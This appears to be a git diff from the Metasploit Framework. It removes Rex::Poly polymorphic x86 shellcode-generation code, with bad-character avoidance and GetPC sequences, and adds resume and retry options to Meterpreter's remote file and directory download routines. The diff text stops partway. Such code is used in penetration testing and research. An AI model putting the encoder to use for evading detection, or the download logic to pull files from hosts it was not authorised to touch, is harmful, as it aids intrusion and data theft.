@reg_available.push( @reg_consumed.delete( regnum ) )
# unasign the temp vars register
@variables['temp'] = nil
return true
end
end
return false
end
#
# Resolve a variable name into its currently assigned register value.
#
def variable_value( name, size=nil )
# Sanity check we this variable has been created
if( not @variables.has_key?( name ) )
raise RuntimeError, "Unknown register '#{name}'."
end
# Pull out its current register value if it has been assigned one
regnum = @variables[ name ]
if( not regnum )
regnum = @reg_available.pop
if( not regnum )
raise RuntimeError, "Unable to assign variable '#{name}' a register value, none available."
end
# and add it to the consumed list so we can track it later
@reg_consumed << regnum
# and now assign the variable the register
@variables[ name ] = regnum
end
# resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32)
return _register_value( regnum, size )
end
#
# Check this solution is still currently valid (as offsets change it may not be).
#
def solution_is_valid?
return self.is_valid?( @solution.buffer )
end
#
# As the solution advances we save state for each permutation step in the solution. This lets
# use rewind at a later stage if the solving algorithm wishes to perform some backtracking.
#
def solution_push( permutation )
@solution.push( permutation, @reg_available, @reg_consumed, @variables )
end
#
# Backtrack one step in the solution and restore the register/variable state.
#
def solution_pop
permutation, @reg_available, @reg_consumed, @variables = @solution.pop
@reg_available.push( @reg_available.shift )
end
#
# Create a block by name and add in its list of permutations.
#
# XXX: this doesnt support the fuzzy order of block dependencies ala the origional rex::poly
def create_block( name, *permutation_sources )
# Sanity check we aren't trying to create one of the reserved symbolic blocks.
if( name == 'begin' or name == 'end' )
raise RuntimeError, "Unable to add block, '#{name}' is a reserved block name."
end
# If this is the first time this block is being created, create the block object to hold the permutation list
if( not @blocks[name] )
@blocks[name] = Block.new( name )
end
# Now create a new permutation object for every one supplied.
permutation_sources.each do | source |
@blocks[name] << Permutation.new( name, '', self, source )
end
return name
end
#
# Create a block which is based on a primitive defined by this machine.
#
def create_block_primitive( block_name, primitive_name, *args )
# Santiy check this primitive is actually available and is not an internal primitive (begins with an _).
if( not @primitives[primitive_name] or primitive_name[0] == "_" )
raise RuntimeError, "Unable to add block, Primitive '#{primitive_name}' is not available."
end
# Sanity check we aren't trying to create one of the reserved symbolic blocks.
if( block_name == 'begin' or block_name == 'end' )
raise RuntimeError, "Unable to add block, '#{block_name}' is a reserved block name."
end
return _create_block_primitive( block_name, primitive_name, *args )
end
#
# Get the offset for a blocks active permutation. This is easy for backward references as
# they will already have been rendered and their sizes known. For forward references we
# can't know in advance but the correct value can be known later once the final solution is
# available and a final pass to generate the raw buffer is made.
#
def block_offset( name )
if( name == 'end' )
return @solution.offset
elsif( @blocks[name] )
@blocks[name].each do | permutation |
if( permutation.active )
return permutation.offset
end
end
end
# If we are forward referencing a block it will be at least the current solutions offset +1
return @solution.offset + 1
end
#
# Does a given block exist?
#
def block_exist?( name )
return @blocks.include?( name )
end
#
# Does a given block exist?
#
def variable_exist?( name )
return @variables.include?( name )
end
# XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique.
#
# Resolve a given value into either a number literal, a block offset or
# a variables assigned register.
#
def resolve_value( value, size=nil )
if( block_exist?( value ) )
return block_offset( value )
elsif( variable_exist?( value ) )
return variable_value( value, size )
end
return value.to_i
end
#
# Get the block previous to the target block.
#
def block_previous( target_block )
previous_block = nil
@blocks.each_key do | current_block |
if( current_block == target_block )
return previous_block
end
previous_block = current_block
end
return nil
end
#
# Get the block next to the target block.
#
def block_next( target_block )
@blocks.each_key do | current_block |
if( block_previous( current_block ) == target_block )
return current_block
end
end
return nil
end
#
# Try to generate a solution.
#
def generate
if( @blocks.has_key?( 'end' ) )
@blocks.delete( 'end' )
end
@blocks['end'] = Block.new( 'end' )
@blocks['end'] << SymbolicPermutation.new( 'end', self, 1 )
# Mix up the permutation orders for each block and create the tree structure.
previous = ::Array.new
@blocks.each_value do | block |
# Shuffle the order of the blocks permutations.
block.shuffle
# create the tree by adding the current blocks permutations as children of the previous block.
current = ::Array.new
block.each do | permutation |
permutation.remove_children
previous.each do | prev |
prev.add_child( permutation )
end
current << permutation
end
previous = current
end
# Shuffle the order of the available registers
@reg_available = @reg_available.shuffle
# We must try every permutation of the register orders, so if we fail to
# generate a solution we rotate the available registers to try again with
# a different order. This ensures we perform and exhaustive search.
0.upto( @reg_available.length - 1 ) do
@solution.reset
# Start from the root node in the solution space and generate a
# solution by traversing the solution space's tree structure.
if( @blocks['begin'].solve )
# Return the solutions buffer (perform a last pass to fixup all offsets)...
return @solution.buffer
end
@reg_available.push( @reg_available.shift )
end
# :(
nil
end
#
# An UndefinedPermutation exception is raised when a permutation can't render yet
# as the conditions required are not yet satisfied.
#
class UndefinedPermutation < RuntimeError
def initialize( msg=nil )
super
end
end
#
# An UnallowedPermutation exception is raised when a permutation can't ever render
# as the conditions supplied are impossible to satisfy.
#
class UnallowedPermutation < RuntimeError
def initialize( msg=nil )
super
end
end
#
# An InvalidPermutation exception is raised when a permutation receives a invalid
# argument and cannot continue to render. This is a fatal exception.
#
class InvalidPermutation < RuntimeError
def initialize( msg=nil )
super
end
end
protected
#
# Overloaded by a subclass to resolve a register number into a suitable register
# name for the target architecture. E.g on x64 the register number 0 with size 64
# would resolve to RCX. Size is nil by default to indicate we want the default
# machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64.
#
def _register_value( regnum, size=nil )
nil
end
#
# Perform the actual variable creation.
#
def _create_variable( name, reg=nil )
regnum = nil
# Sanity check this variable has not already been created.
if( @variables[name] )
raise RuntimeError, "Variable '#{name}' is already created."
end
# If a fixed register is being assigned to this variable then resolve it
if( reg )
# Resolve the register name into a register number
@reg_available.each do | num |
if( _register_value( num ) == reg.downcase )
regnum = num
break
end
end
# If an invalid register name was given or the chosen register is not available we must fail.
if( not regnum )
raise RuntimeError, "Register '#{reg}' is unknown or unavailable."
end
# Sanity check another variable isnt assigned this register
if( @variables.has_value?( regnum ) )
raise RuntimeError, "Register number '#{regnum}' is already consumed by variable '#{@variables[name]}'."
end
# Finally we consume the register chosen so we dont select it again later.
@reg_consumed << @reg_available.delete( regnum )
end
# Create the variable and assign it a register number (or nil if not yet assigned)
@variables[name] = regnum
return name
end
#
# Create a block which is based on a primitive defined by this machine.
#
def _create_block_primitive( block_name, primitive_name, *args )
# If this is the first time this block is being created, create the array to hold the permutation list
if( not @blocks[block_name] )
@blocks[block_name] = Block.new( block_name )
end
# Now create a new permutation object for every one supplied.
@primitives[primitive_name].each do | source |
@blocks[block_name] << Permutation.new( block_name, primitive_name, self, source, args )
end
return block_name
end
#
# Overloaded by a subclass to create any primitives available in this machine.
#
def _create_primitives
nil
end
#
# Rex::Poly::Machine::Primitive
#
def _create_primitive( name, *permutations )
# If this is the first time this primitive is being created, create the array to hold the permutation list
if( not @primitives[name] )
@primitives[name] = ::Array.new
end
# Add in the permutation object (Rex::Poly::Machine::Primitive) for every one supplied.
permutations.each do | permutation |
@primitives[name] << Primitive.new( permutation )
end
end
#
# Helper function to generate a number whoes byte representation is valid in this
# machine (does not contain any badchars for example). Optionally we can supply a
# number and the resulting addition/subtraction of this number against the newly
# generated value is also tested for validity. This helps in the assembly primitives
# which can use these values.
#
def _make_safe_number( bytes, number=nil )
format = ''
if( bytes == BYTE )
format = 'C'
elsif( bytes == WORD )
format = 'v'
elsif( bytes == DWORD )
format = 'V'
elsif( bytes == QWORD )
format = 'Q'
else
raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number."
end
goodchars = (0..255).to_a
@badchars.unpack( 'C*' ).each do | b |
goodchars.delete( b.chr )
end
while( true ) do
value = 0
0.upto( bytes-1 ) do | i |
value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) )
end
if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) )
redo
end
if( not number.nil? )
if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) )
redo
end
end
break
end
return value
end
end
end
end

View File

@ -1,509 +0,0 @@
# -*- coding: binary -*-
module Rex
module Poly
#
# A subclass to represent a Rex poly machine on the x86 architecture.
#
class MachineX86 < Rex::Poly::Machine
def initialize( badchars='', consume_base_pointer=nil, consume_stack_pointer=true )
super( badchars, Metasm::Ia32.new )
@reg_available << Rex::Arch::X86::EAX
@reg_available << Rex::Arch::X86::EBX
@reg_available << Rex::Arch::X86::ECX
@reg_available << Rex::Arch::X86::EDX
@reg_available << Rex::Arch::X86::ESI
@reg_available << Rex::Arch::X86::EDI
@reg_available << Rex::Arch::X86::EBP
@reg_available << Rex::Arch::X86::ESP
# By default we consume the EBP register if badchars contains \x00. This helps speed
# things up greatly as many instructions opperating on EBP introduce a NULL byte. For
# example, a MOV instruction with EAX as the source operand is as follows:
# 8B08 mov ecx, [eax]
# but the same instruction with EBP as the source operand is as follows:
# 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]'
# we can see that EBP is encoded differently with an offset included. We can still
# try to generate a solution with EBP included and \x00 in the badchars list but
# it can take considerably longer.
if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true )
create_variable( 'base_pointer', 'ebp' )
end
# By default we consume the ESP register to avoid munging the stack.
if( consume_stack_pointer )
create_variable( 'stack_pointer', 'esp' )
end
# discover all the safe FPU instruction we can use.
@safe_fpu_instructions = ::Array.new
Rex::Arch::X86.fpu_instructions.each do | fpu |
if( is_valid?( fpu ) )
@safe_fpu_instructions << fpu
end
end
end
#
# The general purpose registers are 32bit
#
def native_size
Rex::Poly::Machine::DWORD
end
#
# Overload this method to intercept the 'set' primitive with the 'location' keyword
# and create the block with the '_set_variable_location'. We do this to keep a
# consistent style.
#
def create_block_primitive( block_name, primitive_name, *args )
if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' )
_create_block_primitive( block_name, '_set_variable_location', args[0] )
else
super
end
end
#
# XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable
# of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not
# neccasary but can speed generation up significantly.
#
#def generate
# @blocks.each_value do | block |
# if( block.first.primitive == 'loop' )
# @variables.delete( block.first.args.first )
# create_variable( block.first.args.first, 'ecx' )
# break
# end
# end
# # ...go go go
# super
#end
protected
#
# Resolve a register number into a suitable register name.
#
def _register_value( regnum, size=nil )
value = nil
# we default to a native 32 bits if no size is specified.
if( size.nil? )
size = native_size()
end
if( size == Rex::Poly::Machine::DWORD )
value = Rex::Arch::X86::REG_NAMES32[ regnum ]
elsif( size == Rex::Poly::Machine::WORD )
value = Rex::Arch::X86::REG_NAMES16[ regnum ]
elsif( size == Rex::Poly::Machine::BYTE )
# (will return nil for ESI,EDI,EBP,ESP)
value = Rex::Arch::X86::REG_NAMES8L[ regnum ]
else
raise RuntimeError, "Register number '#{regnum}' (size #{size.to_i}) is unavailable."
end
return value
end
#
# Create the x86 primitives.
#
def _create_primitives
#
# Create the '_set_variable_location' primitive. The first param it the variable to place the current
# blocks location value in.
#
_create_primitive( '_set_variable_location',
::Proc.new do | block, machine, variable |
if( @safe_fpu_instructions.empty? )
raise UnallowedPermutation
end
[
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
"mov #{machine.variable_value( 'temp' )}, esp",
"fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]",
"pop #{machine.variable_value( variable )}"
]
end,
::Proc.new do | block, machine, variable |
if( @safe_fpu_instructions.empty? )
raise UnallowedPermutation
end
[
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
"mov #{machine.variable_value( 'temp' )}, esp",
"fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]",
"pop #{machine.variable_value( variable )}"
]
end,
::Proc.new do | block, machine, variable |
if( @safe_fpu_instructions.empty? )
raise UnallowedPermutation
end
[
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
"push esp",
"pop #{machine.variable_value( 'temp' )}",
"fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]",
"pop #{machine.variable_value( variable )}"
]
end,
::Proc.new do | block, machine, variable |
if( @safe_fpu_instructions.empty? )
raise UnallowedPermutation
end
[
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
"fnstenv [ esp - 12 ]",
"pop #{machine.variable_value( variable )}"
]
end,
::Proc.new do | block, machine, variable |
[
"call $+5",
"pop #{machine.variable_value( variable )}",
"push #{machine.block_offset( block ) + 5}",
"pop #{machine.variable_value( 'temp' )}",
"sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
]
end,
::Proc.new do | block, machine, variable |
[
"db 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0",
"pop #{machine.variable_value( variable )}",
"push #{machine.block_offset( block ) + 5}",
"pop #{machine.variable_value( 'temp' )}",
"sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
]
end
)
#
# Create the 'loop' primitive. The first param it the counter variable which holds the number of
# times to perform the loop. The second param it the destination block to loop to.
#
_create_primitive( 'loop',
::Proc.new do | block, machine, counter, destination |
if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] )
# we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is
# chosen we simply can't render this. This lets the machine know we can still try to use this
# permutation and at a later stage the requirements (counter==ecx) may be satisfied.
raise UndefinedPermutation
end
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
Rex::Arch::X86.loop( offset )
end,
::Proc.new do | block, machine, counter, destination |
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
[
"dec #{machine.variable_value( counter )}",
"test #{machine.variable_value( counter )}, #{machine.variable_value( counter )}",
# JNZ destination
"db 0x0F, 0x85 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }"
]
end
)
#
# Create the 'xor' primitive. The first param it the variable to xor with the second param value which
# can be either a variable, literal or block offset.
#
_create_primitive( 'xor',
::Proc.new do | block, machine, variable, value |
[
"xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}"
]
end,
::Proc.new do | block, machine, variable, value |
# a ^ b == (a | b) & ~(a & b)
[
"mov #{machine.variable_value( 'temp' )}, #{machine.variable_value( variable )}",
"or #{machine.variable_value( 'temp' )}, #{machine.resolve_value( value )}",
"and #{machine.variable_value( variable )}, #{machine.resolve_value( value )}",
"not #{machine.variable_value( variable )}",
"and #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
]
end
)
#
# Create the 'goto' primitive. The first param is a destination block to jump to.
#
_create_primitive( 'goto',
::Proc.new do | block, machine, destination |
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) )
raise UnallowedPermutation
end
[
# short relative jump
"db 0xEB db #{ "0x%02X" % [ offset & 0xFF ] }"
]
end,
::Proc.new do | block, machine, destination |
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
[
# near relative jump
"db 0xE9 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }"
]
end
)
#
# Create the 'add' primitive. The first param it the variable which will be added to the second
# param, which may either be a literal number value, a variables assigned register or a block
# name, in which case the block offset will be used.
#
_create_primitive( 'add',
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
[
"lea #{machine.variable_value( variable )}, [ #{machine.variable_value( variable )} + #{machine.resolve_value( value )} ]"
]
end,
::Proc.new do | block, machine, variable, value |
[
"push #{machine.resolve_value( value )}",
"add #{machine.variable_value( variable )}, [esp]",
"pop #{machine.variable_value( 'temp' )}"
]
end,
::Proc.new do | block, machine, variable, value |
[
"add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}"
]
end,
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
[
"sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }"
]
end
# ::Proc.new do | block, machine, variable, value |
# if( machine.variable_exist?( value ) )
# raise UnallowedPermutation
# end
# [
# "push #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }",
# "pop #{machine.variable_value( 'temp' )}",
# "not #{machine.variable_value( 'temp' )}",
# "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
# ]
# end,
# ::Proc.new do | block, machine, variable, value |
# if( machine.variable_exist?( value ) )
# raise UnallowedPermutation
# end
# [
# "xor #{machine.variable_value( 'temp' )}, #{machine.variable_value( 'temp' )}",
# "mov #{machine.variable_value( 'temp', 16 )}, #{ "0x%04X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFF ] }",
# "not #{machine.variable_value( 'temp', 16 )}",
# "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
# ]
# end,
)
#
# Create the 'set' primitive. The first param it the variable which will be set. the second
# param is the value to set the variable to (a variable, block or literal).
#
_create_primitive( 'set',
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
[
"push #{ "0x%08X" % [ ~machine.resolve_value( value ) & 0xFFFFFFFF ] }",
"pop #{machine.variable_value( variable )}",
"not #{machine.variable_value( variable )}"
]
end,
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
if( machine.resolve_value( value, WORD ) > 0xFFFF )
raise UndefinedPermutation
end
[
"xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}",
"mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ ~machine.resolve_value( value, WORD ) & 0xFFFF ] }",
"not #{machine.variable_value( variable, WORD )}"
]
end,
::Proc.new do | block, machine, variable, value |
[
"push #{machine.resolve_value( value )}",
"pop #{machine.variable_value( variable )}"
]
end,
::Proc.new do | block, machine, variable, value |
[
"mov #{machine.variable_value( variable )}, #{machine.resolve_value( value )}"
]
end,
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
if( machine.resolve_value( value, WORD ) > 0xFFFF )
raise UndefinedPermutation
end
[
"xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}",
"mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ machine.resolve_value( value, WORD ) & 0xFFFF ] }"
]
end,
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
dword = machine.make_safe_dword( machine.resolve_value( value ) )
[
"mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword ] }",
"sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }"
]
end,
::Proc.new do | block, machine, variable, value |
if( machine.variable_exist?( value ) )
raise UnallowedPermutation
end
dword = machine.make_safe_dword( machine.resolve_value( value ) )
[
"mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }",
"add #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~dword & 0xFFFFFFFF ] }",
"not #{machine.variable_value( variable )}"
]
end
)
#
# Create the 'load' primitive. The first param it the variable which will be set. The second
# param is the value (either a variable or literal) to load from. the third param is the size
# of the load operation, either DWORD, WORD or BYTE.
#
_create_primitive( 'load',
::Proc.new do | block, machine, variable, value, size |
result = nil
if( size == Rex::Poly::Machine::DWORD )
result = [ "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]" ]
elsif( size == Rex::Poly::Machine::WORD )
result = [ "movzx #{machine.variable_value( variable )}, word [#{machine.resolve_value( value )}]" ]
elsif( size == Rex::Poly::Machine::BYTE )
result = [ "movzx #{machine.variable_value( variable )}, byte [#{machine.resolve_value( value )}]" ]
else
raise InvalidPermutation
end
result
end,
::Proc.new do | block, machine, variable, value, size |
result = nil
if( size == Rex::Poly::Machine::DWORD )
# we raise and UnallowedPermutation here as this permutation should only satisfy requests for
# sizes of WORD or BYTE, any DWORD requests will be satisfied by the above permutation (otherwise
# we would just be duplicating a 'mov dest, [src]' sequence which is the same as above.
raise UnallowedPermutation
elsif( size == Rex::Poly::Machine::WORD )
result = [
"mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]",
"shl #{machine.variable_value( variable )}, 16",
"shr #{machine.variable_value( variable )}, 16"
]
elsif( size == Rex::Poly::Machine::BYTE )
result = [
"mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]",
"shl #{machine.variable_value( variable )}, 24",
"shr #{machine.variable_value( variable )}, 24"
]
else
raise InvalidPermutation
end
result
end,
::Proc.new do | block, machine, variable, value, size |
result = nil
if( size == Rex::Poly::Machine::DWORD )
result = [
"push [#{machine.resolve_value( value )}]",
"pop #{machine.variable_value( variable )}"
]
elsif( size == Rex::Poly::Machine::WORD )
result = [
"push [#{machine.resolve_value( value )}]",
"pop #{machine.variable_value( variable )}",
"shl #{machine.variable_value( variable )}, 16",
"shr #{machine.variable_value( variable )}, 16"
]
elsif( size == Rex::Poly::Machine::BYTE )
result = [
"push [#{machine.resolve_value( value )}]",
"pop #{machine.variable_value( variable )}",
"shl #{machine.variable_value( variable )}, 24",
"shr #{machine.variable_value( variable )}, 24"
]
else
raise InvalidPermutation
end
result
end
)
#
# Create the 'store' primitive.
#
_create_primitive( 'store',
::Proc.new do | block, machine, variable, value, size |
result = nil
if( size == Rex::Poly::Machine::DWORD )
result = [ "mov [#{machine.variable_value( variable )}], #{machine.resolve_value( value )}" ]
elsif( size == Rex::Poly::Machine::WORD )
result = [ "mov word [#{machine.variable_value( variable )}], #{machine.resolve_value( value, WORD )}" ]
elsif( size == Rex::Poly::Machine::BYTE )
if( machine.resolve_value( value, BYTE ).nil? )
# so long as we cant resolve the variable to an 8bit register value (AL,BL,CL,DL) we must raise
# an UndefinedPermutation exception (this will happen when the variable has been assigned to ESI,
# EDI, EBP or ESP which dont have a low byte representation)
raise UndefinedPermutation
end
result = [ "mov byte [#{machine.variable_value( variable )}], #{machine.resolve_value( value, BYTE )}" ]
else
raise InvalidPermutation
end
result
end,
::Proc.new do | block, machine, variable, value, size |
result = nil
if( size == Rex::Poly::Machine::DWORD )
result = [
"push #{machine.resolve_value( value )}",
"pop [#{machine.variable_value( variable )}]"
]
elsif( size == Rex::Poly::Machine::WORD )
result = [
"push #{machine.resolve_value( value, WORD )}",
"pop word [#{machine.variable_value( variable )}]"
]
else
# we can never do this permutation for BYTE size (or any other size)
raise UnallowedPermutation
end
result
end
)
end
end
end
end

View File

@ -1,101 +0,0 @@
# -*- coding: binary -*-
module Rex
module Poly
###
#
# This class represents a register that is used in the context of one or more
# logical blocks. The register number is assigned on demand or is statically
# specified if passed in to the constructor.
#
###
class LogicalRegister
require 'rex/poly/register/x86'
#
# This class method is meant to return an array of register numbers that
# can be used to pool from. Architecture specific classes must implement
# this method on their own.
#
def self.regnum_set
nil
end
#
# Initializes the register's name and number, if assigned. If a register
# number is specified, the instance will be assumed to have a statically
# assigned register number. The name is meant to be used as a symbolic
# variable name, such as 'counter' or 'key'.
#
def initialize(name, regnum = nil)
@name = name
@regnum = regnum
@static = (regnum) ? true : false
end
#
# Returns true if the register number should be assumed static.
#
def static?
@static
end
#
# Sets the register number to the value specified. If the register number
# is declared static, a RuntimeError exception is raised.
#
def regnum=(val)
raise RuntimeError, "Attempted to assign regnum to static register" if (static?)
@regnum = val
end
#
# Returns the register number that has currently been assigned. If no
# register number is assigned, an InvalidRegisterError exception is raised.
# This exception can be used to assign the LogicalRegister instance a
# register number on demand.
#
def regnum
raise InvalidRegisterError.new(self), "Register has not been assigned" if (@regnum == nil)
@regnum
end
#
# Returns the variable (friendly) name for the register that was passed to
# the constructor.
#
attr_reader :name
protected
end
###
#
# An exception that is raised when the regnum method is accessed on a
# LogicalRegister that does not currently have a regnum assigned to it.
#
###
class InvalidRegisterError < RuntimeError
#
# Initializes the exception with the instance that lead to the generation
# of the exception such that it can be assigned a register number as
# needed.
#
def initialize(reg)
@reg = reg
end
#
# The LogicalRegister instance that generated the exception.
#
attr_reader :reg
end
end
end

View File

@ -1,41 +0,0 @@
# -*- coding: binary -*-
require 'rex/arch/x86'
module Rex
module Poly
###
#
# This class encapsulates logical registers for the X86 architecture.
#
###
class LogicalRegister::X86 < LogicalRegister
#
# The default set of register numbers that can be used on x86.
#
def self.regnum_set
[
Rex::Arch::X86::EAX,
Rex::Arch::X86::EBX,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX,
Rex::Arch::X86::ESI,
Rex::Arch::X86::EDI,
Rex::Arch::X86::EBP,
Rex::Arch::X86::ESP
]
end
#
# Calls the base class constructor after translating the register name to
# number.
#
def initialize(name, register = nil)
super(name, register ? Rex::Arch::X86.reg_number(register) : nil)
end
end
end
end

View File

@ -195,9 +195,33 @@ class Dir < Rex::Post::Dir
# Downloads the contents of a remote directory a
# local directory, optionally in a recursive fashion.
#
def Dir.download(dst, src, recursive = false, force = true, glob = nil, timestamp = nil, &stat)
def Dir.download(dst, src, opts, force = true, glob = nil, &stat)
recursive = false
continue = false
tries = false
tries_no = 0
tries_cnt = 0
if opts
timestamp = opts["timestamp"]
recursive = true if opts["recursive"]
continue = true if opts["continue"]
tries = true if opts["tries"]
tries_no = opts["tries_no"]
end
begin
dir_files = self.entries(src, glob)
rescue Rex::TimeoutError
if (tries && (tries_no == 0 || tries_cnt < tries_no))
tries_cnt += 1
stat.call('error listing - retry #', tries_cnt, src) if (stat)
retry
else
stat.call('error listing directory - giving up', src, dst) if (stat)
raise
end
end
self.entries(src, glob).each { |src_sub|
dir_files.each { |src_sub|
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub)
@ -205,7 +229,19 @@ class Dir < Rex::Post::Dir
next
end
src_stat = client.fs.filestat.new(src_item)
tries_cnt = 0
begin
src_stat = client.fs.filestat.new(src_item)
rescue Rex::TimeoutError
if (tries && (tries_no == 0 || tries_cnt < tries_no))
tries_cnt += 1
stat.call('error opening file - retry #', tries_cnt, src_item) if (stat)
retry
else
stat.call('error opening file - giving up', tries_cnt, src_item) if (stat)
raise
end
end
if (src_stat.file?)
if timestamp
@ -215,7 +251,11 @@ class Dir < Rex::Post::Dir
stat.call('downloading', src_item, dst_item) if (stat)
begin
result = client.fs.file.download_file(dst_item, src_item)
if (continue || tries) # allow to file.download to log messages
result = client.fs.file.download_file(dst_item, src_item, opts, &stat)
else
result = client.fs.file.download_file(dst_item, src_item, opts)
end
stat.call(result, src_item, dst_item) if (stat)
rescue ::Rex::Post::Meterpreter::RequestError => e
if force
@ -236,10 +276,10 @@ class Dir < Rex::Post::Dir
end
stat.call('mirroring', src_item, dst_item) if (stat)
download(dst_item, src_item, recursive, force, glob, timestamp, &stat)
download(dst_item, src_item, opts, force, glob, &stat)
stat.call('mirrored', src_item, dst_item) if (stat)
end
}
} # entries
end
#

View File

@ -280,7 +280,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
# If a block is given, it will be called before each file is downloaded and
# again when each download is complete.
#
def File.download(dest, src_files, timestamp = nil, &stat)
def File.download(dest, src_files, opts = nil, &stat)
timestamp = opts["timestamp"] if opts
[*src_files].each { |src|
if (::File.basename(dest) != File.basename(src))
# The destination when downloading is a local file so use this
@ -294,7 +295,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
end
stat.call('downloading', src, dest) if (stat)
result = download_file(dest, src)
result = download_file(dest, src, opts, &stat)
stat.call(result, src, dest) if (stat)
}
end
@ -302,7 +303,15 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
#
# Download a single file.
#
def File.download_file(dest_file, src_file)
def File.download_file(dest_file, src_file, opts = nil, &stat)
continue=false
tries=false
tries_no=0
if opts
continue = true if opts["continue"]
tries = true if opts["tries"]
tries_no = opts["tries_no"]
end
src_fd = client.fs.file.new(src_file, "rb")
# Check for changes
@ -318,12 +327,61 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
dir = ::File.dirname(dest_file)
::FileUtils.mkdir_p(dir) if dir and not ::File.directory?(dir)
dst_fd = ::File.new(dest_file, "wb")
if continue
# continue downloading the file - skip downloaded part in the source
dst_fd = ::File.new(dest_file, "ab")
begin
dst_fd.seek(0, ::IO::SEEK_END)
in_pos = dst_fd.pos
src_fd.seek(in_pos)
stat.call('continuing from ', in_pos, src_file) if (stat)
rescue
# if we can't seek, download again
stat.call('error continuing - downloading from scratch', src_file, dest_file) if (stat)
dst_fd.close
dst_fd = ::File.new(dest_file, "wb")
end
else
dst_fd = ::File.new(dest_file, "wb")
end
# Keep transferring until EOF is reached...
begin
while ((data = src_fd.read) != nil)
dst_fd.write(data)
if tries
# resume when timeouts encountered
seek_back = false
tries_cnt = 0
begin # while
begin # exception
if seek_back
in_pos = dst_fd.pos
src_fd.seek(in_pos)
seek_back = false
stat.call('resuming at ', in_pos, src_file) if (stat)
else
# succesfully read and wrote - reset the counter
tries_cnt = 0
end
data = src_fd.read
rescue Rex::TimeoutError
# timeout encountered - either seek back and retry or quit
if (tries && (tries_no == 0 || tries_cnt < tries_no))
tries_cnt += 1
seek_back = true
stat.call('error downloading - retry #', tries_cnt, src_file) if (stat)
retry
else
stat.call('error downloading - giving up', src_file, dest_file) if (stat)
raise
end
end
dst_fd.write(data) if (data != nil)
end while (data != nil)
else
# do the simple copying quiting on the first error
while ((data = src_fd.read) != nil)
dst_fd.write(data)
end
end
rescue EOFError
ensure

View File

@ -376,7 +376,7 @@ private
dest = File.join( dest_folder, base )
if stat.directory?
